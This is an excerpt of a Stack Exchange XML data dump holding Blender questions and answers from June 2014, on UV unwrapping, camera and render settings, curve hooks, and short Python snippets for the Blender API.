  <row Id="13435" PostTypeId="2" ParentId="13431" CreationDate="2014-06-23T22:49:53.023" Score="3" Body="&lt;p&gt;In newer builds of blender, there is a third option in the camera tab for &lt;strong&gt;Panoramic&lt;/strong&gt;. In &lt;em&gt;cycles&lt;/em&gt; there is an option for Equirectangular mapping. The output render can then be used as any other sky dome would be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rklrH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-23T22:49:53.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13437" PostTypeId="1" AcceptedAnswerId="13444" CreationDate="2014-06-24T03:42:20.270" Score="6" ViewCount="2654" Body="&lt;p&gt;How can I see all the &quot;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System#Links_and_Users&quot; rel=&quot;noreferrer&quot;&gt;users&lt;/a&gt;&quot; of a datablock?  Is it possible with the Blender's UI?  With Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'd like to know which 3 objects are the users of my material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xsUio.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-06-24T07:39:14.340" Title="Display all users of a datablock" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-06-24T13:52:02.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="13438" PostTypeId="2" ParentId="2313" CreationDate="2014-06-24T03:46:26.047" Score="11" Body="&lt;p&gt;This is now supported, as of &lt;a href=&quot;https://developer.blender.org/rB87cc890aef53c4660448b1125dc0c40a187ae1f2&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt; (it's &lt;a href=&quot;https://archive.blender.org/wiki/index.php/Dev:Ref/Release_Notes/2.70/UI/#Transform_Tools_Number_Input&quot; rel=&quot;nofollow noreferrer&quot;&gt;in 2.70&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start the modal transform operator (grab, rotate, etc.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;=&lt;/kbd&gt; to enter advanced mode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter the value you want according to the units you have selected (e.g. for imperial: &lt;code&gt;4' 11'&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When in advanced mode you can do everything you can do in a normal number button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pmvjQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't press &lt;kbd&gt;=&lt;/kbd&gt; to enter advanced mode, it should behave mostly as it did before 2.70.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://archive.blender.org/wiki/index.php/Dev:Ref/Release_Notes/2.70/UI/#Transform_Tools_Number_Input&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We have two &quot;modes&quot;, simple and advanced ones, use '=' or 'pad*' to&#xA;  enable advanced mode, and 'ctrl-=' or 'ctrl-pad*' to switch back to&#xA;  simple mode.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Simple mode works nearly like it did before, it only accepts simple&#xA;  numbers, and you can still use '-' to negate and '/' to inverse the&#xA;  value (as well as non-number input shortcuts like XYZ, RSG, etc.).&#xA;  Compared to Blender 2.69 behavior, you can now copy and paste&#xA;  expressions, and navigate in the number you typed, so you can for&#xA;  example fix a typo without having to type everything again.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In advanced mode, we gain more power and flexibility, but lose a few&#xA;  &quot;shortcuts&quot; like '-' to negate, or '/' to inverse. It features:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Units (cm, &quot;, deg, etc.).&lt;/li&gt;&#xA;  &lt;li&gt;Basic operations from python/BKE_unit (+, *, **, etc.), and math constants and functions (pi, sin, etc.).&lt;/li&gt;&#xA;  &lt;li&gt;You can navigate in edited value (left/right key, ctrl to move by block) and insert/delete chars, e.g. to fix a typo without having to&#xA;  rewrite everything.&lt;/li&gt;&#xA;  &lt;li&gt;You can copy/paste expression with usual ctrl-C/V.&lt;/li&gt;&#xA;  &lt;li&gt;You can go to next/previous value with (ctrl-)TAB key.&lt;/li&gt;&#xA;  &lt;li&gt;As before, hitting backspace after having deleted all leading chars will first reset the edited value to init state, and on second&#xA;  press, the whole number editing will be canceled, going back to usual&#xA;  transform with mouse.&lt;/li&gt;&#xA;  &lt;li&gt;You can still use the - and / shortcuts, as well as various transform options (like XYZ, E and F for vertex/edge slide, etc.)&#xA;  while in modal numinput mode, you just have to use ctrl to activate&#xA;  them!&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2019-07-12T18:54:13.327" LastActivityDate="2019-07-12T18:54:13.327" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="13439" PostTypeId="1" AcceptedAnswerId="13448" CreationDate="2014-06-24T04:14:49.400" Score="2" ViewCount="1328" Body="&lt;p&gt;Sometimes, when you bake, you see a small black box that counts up to 100 showing the progress of the bake.  For example, while baking a cloth simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U7Du4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to cancel the bake?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-06-24T09:32:56.763" Title="Cancel a bake that freezes UI with black box percentage counter" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13440" PostTypeId="1" CreationDate="2014-06-24T04:29:40.710" Score="2" ViewCount="14666" Body="&lt;p&gt;I can't find the materials tab. I have tried blender tutorials but they already have the tabs. I just have these 5 tabs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zQTXE.png&quot; alt=&quot;blender properties&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4935" LastEditorUserId="599" LastEditDate="2014-06-24T20:24:17.483" LastActivityDate="2017-12-30T00:22:10.997" Title="Where is the materials tab?" Tags="&lt;materials&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13441" PostTypeId="2" ParentId="13440" CreationDate="2014-06-24T04:47:17.843" Score="4" Body="&lt;p&gt;Here is the materials tab:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VVw0p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&#xA;If you can't see it there, hover over the tabs and scroll with the Middle Mouse Button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also be sure that you have a mesh selected, if you don't blender will not show the materials tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost any video tutorial should show you were that is, so I'd recommend you research some more.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-06-24T11:14:26.590" LastActivityDate="2014-06-24T11:14:26.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13442" PostTypeId="2" ParentId="13432" CreationDate="2014-06-24T06:49:25.337" Score="11" Body="&lt;p&gt;Unless you have changed your mouse settings, you use the middle mouse button to move in the 3D view, not LMB. Middle mouse to orbit, shift -&gt; middle mouse to pan, and ctrl -&gt; middle mouse to zoom.&lt;/p&gt;&#xA;" OwnerUserId="4793" LastActivityDate="2014-06-24T06:49:25.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13443" PostTypeId="2" ParentId="13425" CreationDate="2014-06-24T06:56:41.190" Score="1" Body="&lt;p&gt;Blender exports the .obj file correctly I can't see a reason why empty values &quot;,,,,&quot; are written in the converted file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mtllib Musium.mtl&#xA;o Plane.275_Plane.229&#xA;v 138.827621 -14.357000 -71.175812&#xA;v 145.607269 -14.357000 -71.175812&#xA;v 138.827621 -14.357000 -123.266418&#xA;v 145.607269 -14.357000 -123.266418&#xA;vt 0.882195 0.266138&#xA;vt 0.983474 0.328281&#xA;vt 0.122201 0.759672&#xA;vt 0.020922 0.697529&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems to be a bug/issue in the obj2opengl.pl converter possible it expects optional values which do not occur and therefore it writes empty values (between the commas).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend to write your own exporter, to get started you could use the code I posted here: &lt;a href=&quot;https://blender.stackexchange.com/questions/6403/how-do-we-access-vert-norm-and-uv-data-then-print-to-a-text-file-using-blender/6431#6431&quot;&gt;How do we access Vert, Norm and UV data then print to a text file using Blender/Python?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-06-24T06:56:41.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13444" PostTypeId="2" ParentId="13437" CreationDate="2014-06-24T07:39:14.340" Score="5" Body="&lt;p&gt;&lt;strong&gt;Without Python:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply select one of the objects and use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; &gt; &lt;em&gt;Material&lt;/em&gt; to select all the objects that share the same material. If the object has more than one material, it'll check for the one that's currently active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With Python:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a bit of a workaround. Each material has the attribute &lt;code&gt;users&lt;/code&gt;, but this is only the number of users and not actually a list of objects/data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in order to get a list of all the objects that use a certain material, we have to loop through the objects, then through each object's material slots:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;objects = bpy.context.selectable_objects&#xA;mat = bpy.context.object.active_material&#xA;&#xA;for obj in objects:&#xA;    for slot in obj.material_slots:&#xA;        if slot.material == mat:&#xA;            obj.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-06-24T07:39:14.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13445" PostTypeId="1" AcceptedAnswerId="13453" CreationDate="2014-06-24T07:54:08.687" Score="9" ViewCount="3528" Body="&lt;p&gt;How to I deal with unwrapped UVs orientation?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Delete the default Cube.&lt;/li&gt;&#xA;&lt;li&gt;Add a Cylinder&lt;/li&gt;&#xA;&lt;li&gt;Edit mode and edge select the Top and the Bottom and a single connecting edge.&lt;/li&gt;&#xA;&lt;li&gt;Make them into seams&lt;/li&gt;&#xA;&lt;li&gt;UV Unwrap (standard Unwrap mode)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The unwrapped UV now shows two circles above a row of quads. I can save this and open it in an image editor and paint over those areas and get the texture to align on the cylinder back in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, the pattern(just happens to be text) that was inserted in place of the row of quads is now upside down on the model. Any attempt to flip or align just makes things worse, from upside down to mirrored or the Top/Bottom not aligning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my real question is how could I have known that the quads represented an upside down view of the world?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do other blender users export UVs and mark them with arrows and colours just to see how they align on a model before actually painting for real?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried selecting the edges in step 3 in different orders before making them into seams and it made no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also looked at the Normals but they appear to be only Inside/Outside not Up/Down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.70&lt;/p&gt;&#xA;" OwnerUserId="4937" LastActivityDate="2016-11-06T21:19:41.317" Title="Workflow for UV orientation" Tags="&lt;texturing&gt;&lt;workflow&gt;&lt;uv&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13446" PostTypeId="2" ParentId="13445" CreationDate="2014-06-24T08:29:05.783" Score="1" Body="&lt;p&gt;If you use shortcut Ctrl+M then Y, for example, for mirroring you have to press Enter and again Ctrl+M &gt; X &gt; Enter for the second axis. You can't flip on both directions at once.&#xA;And yes, you have to mirror once for X and once for Y the row of faces.&lt;/p&gt;&#xA;" OwnerUserId="3444" LastEditorUserId="3444" LastEditDate="2014-06-24T08:43:38.750" LastActivityDate="2014-06-24T08:43:38.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13447" PostTypeId="2" ParentId="13422" CreationDate="2014-06-24T09:06:36.587" Score="2" Body="&lt;p&gt;imageop.crop() was available in python 2.7 but is not included with python 3.x which blender has used since 2.50&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from simple painting tools, Blender currently only offers image manipulation within the video sequencer and the compositor. So one option might be to create compositor nodes that crop the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender's Image class does provide access to the image pixels data so you could write a script to copy the required pixels to another block and switch them or create a new image.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-24T09:06:36.587" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13448" PostTypeId="2" ParentId="13439" CreationDate="2014-06-24T09:21:24.710" Score="5" Body="&lt;p&gt;Just press the &lt;kbd&gt;Esc&lt;/kbd&gt; key on the keyboard to cancel the bake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some bakes have a progress bar in the 'Info' header, these can be cancelled by pressing the small &lt;strong&gt;X&lt;/strong&gt; next to the progress bar or by pressing &lt;kbd&gt;Esc&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="9" LastEditDate="2014-06-24T09:32:56.763" LastActivityDate="2014-06-24T09:32:56.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13450" PostTypeId="1" AcceptedAnswerId="13451" CreationDate="2014-06-24T13:21:14.763" Score="7" ViewCount="11000" Body="&lt;p&gt;I want to detect if the mouse is in certain area of the 3d View, so I can display a custom menu when it will be in the left top corner, over the view name (&quot;User Persp&quot; etc).&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2014-06-25T22:59:24.463" Title="How to get mouse position in a window with Python?" Tags="&lt;python&gt;&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13451" PostTypeId="2" ParentId="13450" CreationDate="2014-06-24T13:26:44.283" Score="8" Body="&lt;p&gt;Here is a script from the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface&quot; rel=&quot;noreferrer&quot;&gt;blender wiki&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the &lt;em&gt;Invoke versus execute&lt;/em&gt; section for finding this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#----------------------------------------------------------&#xA;# File invoke.py&#xA;# from API documentation&#xA;#----------------------------------------------------------&#xA;&#xA;import bpy&#xA;&#xA;class SimpleMouseOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot; This operator shows the mouse location,&#xA;        this string is used for the tooltip and API docs&#xA;    &quot;&quot;&quot;&#xA;    bl_idname = &quot;wm.mouse_position&quot;&#xA;    bl_label = &quot;Mouse location&quot;&#xA;&#xA;    x = bpy.props.IntProperty()&#xA;    y = bpy.props.IntProperty()&#xA;&#xA;    def execute(self, context):&#xA;        # rather then printing, use the report function,&#xA;        # this way the message appears in the header,&#xA;        self.report({'INFO'}, &quot;Mouse coords are %d %d&quot; % (self.x, self.y))&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        self.x = event.mouse_x&#xA;        self.y = event.mouse_y&#xA;        return self.execute(context)&#xA;&#xA;#&#xA;#    Panel in tools region&#xA;#&#xA;class MousePanel(bpy.types.Panel):&#xA;    bl_label = &quot;Mouse&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOL_PROPS&quot;&#xA;&#xA;    def draw(self, context):&#xA;        self.layout.operator(&quot;wm.mouse_position&quot;)&#xA;&#xA;#&#xA;#   Registration&#xA;#   Not really necessary to register the class, because this happens&#xA;#   automatically when the module is registered. OTOH, it does not hurt either.&#xA;bpy.utils.register_class(SimpleMouseOperator)&#xA;bpy.utils.register_module(__name__)&#xA;&#xA;# Automatically display mouse position on startup&#xA;bpy.ops.wm.mouse_position('INVOKE_DEFAULT')&#xA;&#xA;# Another test call, this time call execute() directly with pre-defined settings.&#xA;#bpy.ops.wm.mouse_position('EXEC_DEFAULT', x=20, y=66)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you want to know the position of your 3D view, I made a quick research. With this you can find the area of your 3D View:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type=='VIEW_3D':&#xA;        X= area.x&#xA;        Y= area.y&#xA;        WIDTH=area.width&#xA;        HEIGHT=area.height&#xA;&#xA;        print(X,Y,WIDTH,HEIGHT)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="1151" LastEditDate="2014-06-24T13:53:41.940" LastActivityDate="2014-06-24T13:53:41.940" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13452" PostTypeId="1" AcceptedAnswerId="13454" CreationDate="2014-06-24T14:05:35.160" Score="4" ViewCount="1464" Body="&lt;p&gt;Is it possible to attach the endpoints of a curve to two spheres, so that the endpoints would always move with the spheres even when moving the spheres independently of each other? Optimally it should also stretch and compress as the spheres move further apart and closer to each other. I'm doing animations of chemical reactions where I'm depicting the bonds between atoms with a curve which should stay attached to the animated atoms and I'd rather not calculate the transformations for the bonds separately.&lt;/p&gt;&#xA;" OwnerUserId="4940" LastEditorUserId="2217" LastEditDate="2014-06-24T14:21:17.057" LastActivityDate="2014-07-24T15:33:52.627" Title="Attaching a curve by its endpoints to two spheres" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13453" PostTypeId="2" ParentId="13445" CreationDate="2014-06-24T14:05:49.883" Score="11" Body="&lt;p&gt;You can make sure your UV's are rotated the way you expect by loading in a test texture before saving out the UV layout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has some built in textures which you can load by going to &lt;em&gt;Image&gt; New Image&lt;/em&gt; in the header of the UV Image Editor while in Edit mode for the object you are unwrapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choosing 'Color Grid' and pressing 'OK', will load in the test texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uiOic.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here you can edit the UV's in the Image Editor using the normal rotation, grab and scale shortcuts until the UV's are rotated the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below, I selected the row of quads by hovering my cursor over them and pressing &lt;kbd&gt;L&lt;/kbd&gt; to trigger 'Select Linked', then &lt;kbd&gt;R&lt;/kbd&gt; to rotate the UV island.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HoZ6G.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can remove the texture once the UV's are aligned correctly.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="3401" LastEditDate="2014-10-16T19:20:17.460" LastActivityDate="2014-10-16T19:20:17.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13454" PostTypeId="2" ParentId="13452" CreationDate="2014-06-24T14:20:30.637" Score="3" Body="&lt;p&gt;This is a great case for &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Hooks&quot; rel=&quot;nofollow&quot;&gt;hooks&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Position your two spheres where you want. Then add the curve between then with the two ends where you want them to touch on the spheres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode select one of the spheres then select the curve; hit &lt;kbd&gt;Tab&lt;/kbd&gt; to go in to edit mode. In the curve's edit mode select the end point of the curve on the same end as the selected sphere, then press &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;H&lt;/kbd&gt;. Choose &lt;em&gt;hook to selected object&lt;/em&gt;.&lt;br&gt;&#xA;Repeat for the other end of the curve on the other sphere.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-06-24T14:20:30.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13455" PostTypeId="1" CreationDate="2014-06-24T14:22:46.610" Score="6" ViewCount="653" Body="&lt;p&gt;For some reason I managed to make the camera render every time I move it to a new position, move an object, modeling or whatever. I want the camera to ONLY render when I hit &lt;kbd&gt;F12&lt;/kbd&gt;. What have I done wrong?&lt;/p&gt;&#xA;" OwnerUserId="4941" LastEditorUserId="72" LastEditDate="2014-06-24T16:06:14.567" LastActivityDate="2014-06-24T16:08:26.290" Title="Stop rendering each time camera is moved or anything else is modified" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13456" PostTypeId="1" AcceptedAnswerId="13457" CreationDate="2014-06-24T14:23:24.517" Score="3" ViewCount="446" Body="&lt;p&gt;I want to display a custom menu when it will be in the left top corner of the 3D View, over the view name (&quot;User Persp&quot; etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this is the long way, but if I'll also know the window location and area (already answered here &lt;a href=&quot;https://blender.stackexchange.com/questions/13450/how-to-get-mouse-position-in-a-window-with-python#13451&quot;&gt;How to get mouse position in a window with Python?&lt;/a&gt;), and mouse position, then I'll be able to calculate if the mouse is in the right spot or not. &lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2016-04-12T16:23:53.967" Title="Is there a way to determine the left 3D view sidebar's current width with python?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13457" PostTypeId="2" ParentId="13456" CreationDate="2014-06-24T14:29:47.983" Score="5" Body="&lt;p&gt;You can query the region's width from &lt;a href=&quot;https://www.blender.org/api/blender_python_api_2_77a_release/bpy.types.Region.html#bpy.types.Region.width&quot; rel=&quot;nofollow&quot;&gt;bpy.types.Region.width&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if the toolbar region is always the second region (&lt;code&gt;region[1]&lt;/code&gt;) in the &lt;a href=&quot;https://www.blender.org/api/blender_python_api_2_77a_release/bpy.types.Area.html#bpy.types.Area.regions&quot; rel=&quot;nofollow&quot;&gt;bpy.types.Area.regions&lt;/a&gt; list, but you can always just loop through and check the type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for region in bpy.context.area.regions:&#xA;    if region.type == &quot;TOOLS&quot;:&#xA;        width = region.width&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That'll pick the first region of type &lt;code&gt;TOOLS&lt;/code&gt;, though afaik there can be only one.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="2271" LastEditDate="2016-04-12T16:23:53.967" LastActivityDate="2016-04-12T16:23:53.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13459" PostTypeId="2" ParentId="13455" CreationDate="2014-06-24T15:05:05.507" Score="9" Body="&lt;p&gt;Well, it sounds like you have your 3DView set to display rendered&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Un7mm.png&quot; alt=&quot;viewport render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try changing it to one of the other settings and see if that fixes the issue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The only other place I can think of to check is the 'autorender' button in the compositor.&lt;br&gt;&#xA;try unchecking-that and see if it then only updates the render layer when you hit F12.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastEditorUserId="72" LastEditDate="2014-06-24T16:08:26.290" LastActivityDate="2014-06-24T16:08:26.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13460" PostTypeId="1" AcceptedAnswerId="13461" CreationDate="2014-06-24T15:33:59.363" Score="1" ViewCount="272" Body="&lt;p&gt;I've downloaded the Zip file for Windows 64Bit and unpacked it and now have a folder with 226Mb of files that includes a Blender.exe.&#xA;I however, couldn't find any installation instructions either in the readme or the created folder structure.&#xA;I'm trying to set up 2.71 for production testing.  How do I do that or where do I find instructions on how to do that?&#xA;Thanks&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-06-24T15:59:44.353" Title="Where are the instructions for installing the 2.71 Release Candidate?" Tags="&lt;windows&gt;&lt;installation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13461" PostTypeId="2" ParentId="13460" CreationDate="2014-06-24T15:55:44.347" Score="5" Body="&lt;p&gt;In that folder you unzipped, just double click on the blender.exe file.  There is no need to &quot;install&quot; blender like you are thinking. Blender runs straight from the unzipped folder.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-06-24T15:55:44.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13462" PostTypeId="2" ParentId="13460" CreationDate="2014-06-24T15:59:44.353" Score="5" Body="&lt;p&gt;The Release Candidate seems to be only released as a zip file. This can be unzipped wherever you want and run from the folder, it doesn't need to install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you download the latest &lt;em&gt;official&lt;/em&gt; release of Blender, currently 2.70, then you have the option of either downloading a regular installer or a zip again.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-06-24T15:59:44.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13463" PostTypeId="2" ParentId="13452" CreationDate="2014-06-24T19:22:31.267" Score="3" Body="&lt;p&gt;Using hooks is a good idea.  I'll add that the laplacian deform modifier works well with hooks for creating deformation effects that resemble natural tug.&#xA;This short video shows the effect of the modifier and how to apply it using hooks.&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=VgiekNOK0Vw&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=VgiekNOK0Vw&lt;/a&gt;&#xA;I created a simple example to demonstrate how this could be useful for this particular problem.&#xA;&lt;a href=&quot;https://www.dropbox.com/s/9dpgvb9ht0bh9vj/laplacian_deform_test.blend&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/9dpgvb9ht0bh9vj/laplacian_deform_test.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4942" LastEditorUserId="4942" LastEditDate="2014-07-24T15:33:52.627" LastActivityDate="2014-07-24T15:33:52.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13464" PostTypeId="1" AcceptedAnswerId="13481" CreationDate="2014-06-24T23:20:51.733" Score="1" ViewCount="1007" Body="&lt;p&gt;Part 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the source code for an add-on for importing a .skn file that won't display in the add-ons menu in the preferences window. I have the folder with the 4 files needed in it in the scripts/addons/ directory but it wont display in the UI. I am able to import it through the python console but it has problems, still doesnt show up in the addons directory&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I figured out part 1, was missing the bl_addon_info in the ____init____.py file it was in ____bpy_init____.py&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Part 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has brought a new problem into the light though, I can't activate the addon through the UI, and when trying to activate it through the python console i get a new error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;   File &quot;C:\PROGRA~1\BLENDE~1\Blender\2.54\scripts\ui\space_userpref.py&quot;, line 1086, in execute&#xA;      mod = __import__(module_name)&#xA;   File &quot;C:\PROGRA~1\BLENDE~1\Blender\2.54\scripts\addons\io_scene_skn\__init__.py&quot;, line 37, in 